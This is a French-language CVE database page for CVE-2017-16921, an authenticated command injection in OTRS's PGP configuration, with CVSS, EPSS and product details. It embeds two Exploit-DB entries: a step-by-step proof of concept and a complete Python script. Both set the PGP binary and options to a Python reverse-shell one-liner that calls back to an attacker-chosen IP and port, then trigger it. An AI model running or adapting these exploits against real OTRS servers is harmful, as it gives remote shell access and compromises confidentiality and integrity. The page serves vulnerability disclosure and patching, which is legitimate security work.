CVE-2017-16921 : Détail

CVE-2017-16921

8.8
/
Haute
OS Command Injection
A03-Injection
34.94%V4
Network
2017-12-08
14h00 +00:00
2021-04-22
15h06 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

In OTRS 6.0.x up to and including 6.0.1, OTRS 5.0.x up to and including 5.0.24, and OTRS 4.0.x up to and including 4.0.26, an attacker who is logged into OTRS as an agent can manipulate form parameters (related to PGP) and execute arbitrary shell commands with the permissions of the OTRS or web server user.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 43853

Date de publication : 2018-01-20 23h00 +00:00
Auteur : Bæln0rn
EDB Vérifié : No

# Exploit Title: OTRS 5.0.x/6.0.x - Remote Command Execution (1) # Date: 21-01-2018 # Exploit Author: Bæln0rn # Vendor Homepage: https://www.otrs.com/ # Software Link: http://ftp.otrs.org/pub/otrs/ # Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1 # Tested on: OTRS 5.0.2/CentOS 7.2.1511 # CVE : CVE-2017-16921 CVE-2017-16921: "In OTRS 6.0.x up to and including 6.0.1, OTRS 5.0.x up to and including 5.0.24, and OTRS 4.0.x up to and including 4.0.26, an attacker who is logged into OTRS as an agent can manipulate form parameters (related to PGP) and execute arbitrary shell commands with the permissions of the OTRS or web server user." OTRS 5.0.2 PoC: 1. Authenticate to an agent account. <path>/index.pl 2. Open "Admin" tab. <path>/index.pl?Action=Admin 3. Open "SysConfig" link. <path>/index.pl?Action=AdminSysConfig 4. Find the "Crypt:PGP" subgroup. <path>/index.pl?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt%3A%3APGP;SysConfigGroup=Framework 5. Manipulate form parameters and use "Update" button to save: "PGP" -Default: No -New: Yes "PGP::Bin" -Default: /usr/bin/gpg -New: <shell command including executables the webserver user has execute permissions for, no options> -PoC (Reverse Python Shell): /usr/bin/python "PGP::Options" -Default: --homedir /opt/otrs/.gnupg/ --batch --no-tty --yes -New: <any command options> -PoC (Reverse Python Shell): -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOURIP>",<YOURLISTENINGPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 6. Open "Admin" tab. <path>/index.pl?Action=Admin 7. Open "PGP Keys" to execute saved command. <path>/index.pl?Action=AdminPGP Behavior will vary based on commands. The above PoC opened a stable, no TTY, reverse shell under the "apache" user. The page eventually timed out with a 502 error, but the web application seems otherwise unaffected. Killing the shell before timeout advances the web application to the proper "PGP Management" page. The exploit can be repeated unlimited times with step #7 above.
Exploit Database EDB-ID : 49794

Date de publication : 2021-04-21 22h00 +00:00
Auteur : Hex_26
EDB Vérifié : No

# Exploit Title: OTRS 6.0.1 - Remote Command Execution (2) # Date: 21-04-2021 # Exploit Author: Hex_26 # Vendor Homepage: https://www.otrs.com/ # Software Link: http://ftp.otrs.org/pub/otrs/ # Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1 # Tested on: OTRS 5.0.2/CentOS 7.2.1511 # CVE : CVE-2017-16921 #!/usr/bin/env python3 """ Designed after https://www.exploit-db.com/exploits/43853. Runs a python reverse shell on the target with the preconfigured options. This script does not start a listener for you. Run one on your own with netcat or another similar tool By default, this script will launch a python reverse shell one liner with no cleanup. Manual cleanup needs to be done for the PGP options in the admin panel if you wish to preserve full working condition. """ import requests; import sys; baseuri = "http://10.1.1.1/index.pl"; username = "root@localhost"; password = "root"; revShellIp = "10.1.1.2"; revShellPort = 7007; sess = requests.Session(); print("[+] Retrieving auth token..."); data = {"Action":"Login","RequestedURL":"","Lang":"en","TimeOffset":"-480","User":username,"Password":password}; sess.post(baseuri,data=data); if "OTRSAgentInterface" in sess.cookies.get_dict(): print("[+] Successfully logged in:"); print("OTRSAgentInterface",":",sess.cookies.get_dict()["OTRSAgentInterface"]); else: print("[-] Failed to log in. Bad credentials?"); sys.exit(); print("[+] Grabbing challenge token from PGP panel..."); contents = sess.get(baseuri+"?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework").text; challTokenStart = contents.find('<input type="hidden" name="ChallengeToken" value="')+50; challengeToken = contents[challTokenStart:challTokenStart+32]; print("[+]",challengeToken); print("[+] Enabling PGP keys in config, and setting our malicious command"); settings = {\ "ChallengeToken":challengeToken,\ "Action":"AdminSysConfig",\ "Subaction":"Update",\ "SysConfigGroup":"Framework",\ "SysConfigSubGroup":"Crypt::PGP",\ "DontWriteDefault":"1",\ "PGP":"1",\ "PGP::Bin":"/usr/bin/python",\ "PGP::Options":"-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + revShellIp + "\"," + str(revShellPort) + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",\ "PGP::Key::PasswordKey[]":"488A0B8F",\ "PGP::Key::PasswordContent[]":"SomePassword",\ "PGP::Key::PasswordDeleteNumber[]":"1",\ "PGP::Key::PasswordKey[]":"D2DF79FA",\ "PGP::Key::PasswordContent[]":"SomePassword",\ "PGP::Key::PasswordDeleteNumber[]":"2",\ "PGP::TrustedNetworkItemActive":"1",\ "PGP::TrustedNetwork":"0",\ "PGP::LogKey[]":"BADSIG",\ "PGP::LogContent[]":"The+PGP+signature+with+the+keyid+has+not+been+verified+successfully.",\ "PGP::LogDeleteNumber[]":"1",\ "PGP::LogKey[]":"ERRSIG",\ "PGP::LogContent[]":"It+was+not+possible+to+check+the+PGP+signature%2C+this+may+be+caused+by+a+missing+public+key+or+an+unsupported+algorithm.",\ "PGP::LogDeleteNumber[]":"2",\ "PGP::LogKey[]":"EXPKEYSIG",\ "PGP::LogContent[]":"The+PGP+signature+was+made+by+an+expired+key.",\ "PGP::LogDeleteNumber[]":"3",\ "PGP::LogKey[]":"GOODSIG",\ "PGP::LogContent[]":"Good+PGP+signature.",\ "PGP::LogDeleteNumber[]":"4",\ "PGP::LogKey[]":"KEYREVOKED",\ "PGP::LogContent[]":"The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.",\ "PGP::LogDeleteNumber[]":"5",\ "PGP::LogKey[]":"NODATA",\ "PGP::LogContent[]":"No+valid+OpenPGP+data+found.",\ "PGP::LogDeleteNumber[]":"6",\ "PGP::LogKey[]":"NO_PUBKEY",\ "PGP::LogContent[]":"No+public+key+found.",\ "PGP::LogDeleteNumber[]":"7",\ "PGP::LogKey[]":"REVKEYSIG",\ "PGP::LogContent[]":"The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.",\ "PGP::LogDeleteNumber[]":"8",\ "PGP::LogKey[]":"SIGEXPIRED",\ "PGP::LogContent[]":"The+PGP+signature+is+expired.",\ "PGP::LogDeleteNumber[]":"9",\ "PGP::LogKey[]":"SIG_ID",\ "PGP::LogContent[]":"Signature+data.",\ "PGP::LogDeleteNumber[]":"10",\ "PGP::LogKey[]":"TRUST_UNDEFINED",\ "PGP::LogContent[]":"This+key+is+not+certified+with+a+trusted+signature%21.",\ "PGP::LogDeleteNumber[]":"11",\ "PGP::LogKey[]":"VALIDSIG",\ "PGP::LogContent[]":"The+PGP+signature+with+the+keyid+is+good.",\ "PGP::LogDeleteNumber[]":"12",\ "PGP::StoreDecryptedData":"1"\ }; sess.post(baseuri+"?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework",data=settings); print("[+] Now attempting to trigger the command. If this hangs, it likely means the reverse shell started."); sess.get(baseuri+"?Action=AdminPGP"); print("[+] Exploit complete, check your listener for a shell");

Products Mentioned

Configuraton 0

Otrs>>Otrs >> Version 4.0.1

Otrs>>Otrs >> Version 4.0.2

Otrs>>Otrs >> Version 4.0.3

Otrs>>Otrs >> Version 4.0.4

Otrs>>Otrs >> Version 4.0.5

Otrs>>Otrs >> Version 4.0.6

Otrs>>Otrs >> Version 4.0.7

Otrs>>Otrs >> Version 4.0.8

Otrs>>Otrs >> Version 4.0.9

Otrs>>Otrs >> Version 4.0.10

Otrs>>Otrs >> Version 4.0.11

Otrs>>Otrs >> Version 4.0.12

Otrs>>Otrs >> Version 4.0.13

Otrs>>Otrs >> Version 4.0.14

Otrs>>Otrs >> Version 4.0.15

Otrs>>Otrs >> Version 4.0.16

Otrs>>Otrs >> Version 4.0.17

Otrs>>Otrs >> Version 4.0.18

Otrs>>Otrs >> Version 4.0.19

Otrs>>Otrs >> Version 4.0.20

Otrs>>Otrs >> Version 4.0.21

Otrs>>Otrs >> Version 4.0.22

Otrs>>Otrs >> Version 4.0.23

Otrs>>Otrs >> Version 4.0.24

Otrs>>Otrs >> Version 4.0.25

Otrs>>Otrs >> Version 4.0.26

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.0

Otrs>>Otrs >> Version 5.0.1

Otrs>>Otrs >> Version 5.0.2

Otrs>>Otrs >> Version 5.0.3

Otrs>>Otrs >> Version 5.0.4

Otrs>>Otrs >> Version 5.0.5

Otrs>>Otrs >> Version 5.0.6

Otrs>>Otrs >> Version 5.0.7

Otrs>>Otrs >> Version 5.0.8

Otrs>>Otrs >> Version 5.0.9

Otrs>>Otrs >> Version 5.0.10

Otrs>>Otrs >> Version 5.0.11

Otrs>>Otrs >> Version 5.0.12

Otrs>>Otrs >> Version 5.0.13

Otrs>>Otrs >> Version 5.0.14

Otrs>>Otrs >> Version 5.0.15

Otrs>>Otrs >> Version 5.0.16

Otrs>>Otrs >> Version 5.0.17

Otrs>>Otrs >> Version 5.0.18

Otrs>>Otrs >> Version 5.0.19

Otrs>>Otrs >> Version 5.0.20

Otrs>>Otrs >> Version 5.0.21

Otrs>>Otrs >> Version 5.0.22

Otrs>>Otrs >> Version 5.0.23

Otrs>>Otrs >> Version 5.0.24

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.0

Otrs>>Otrs >> Version 6.0.1

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Références

https://www.exploit-db.com/exploits/43853/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.debian.org/security/2017/dsa-4066
Tags : vendor-advisory, x_refsource_DEBIAN
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.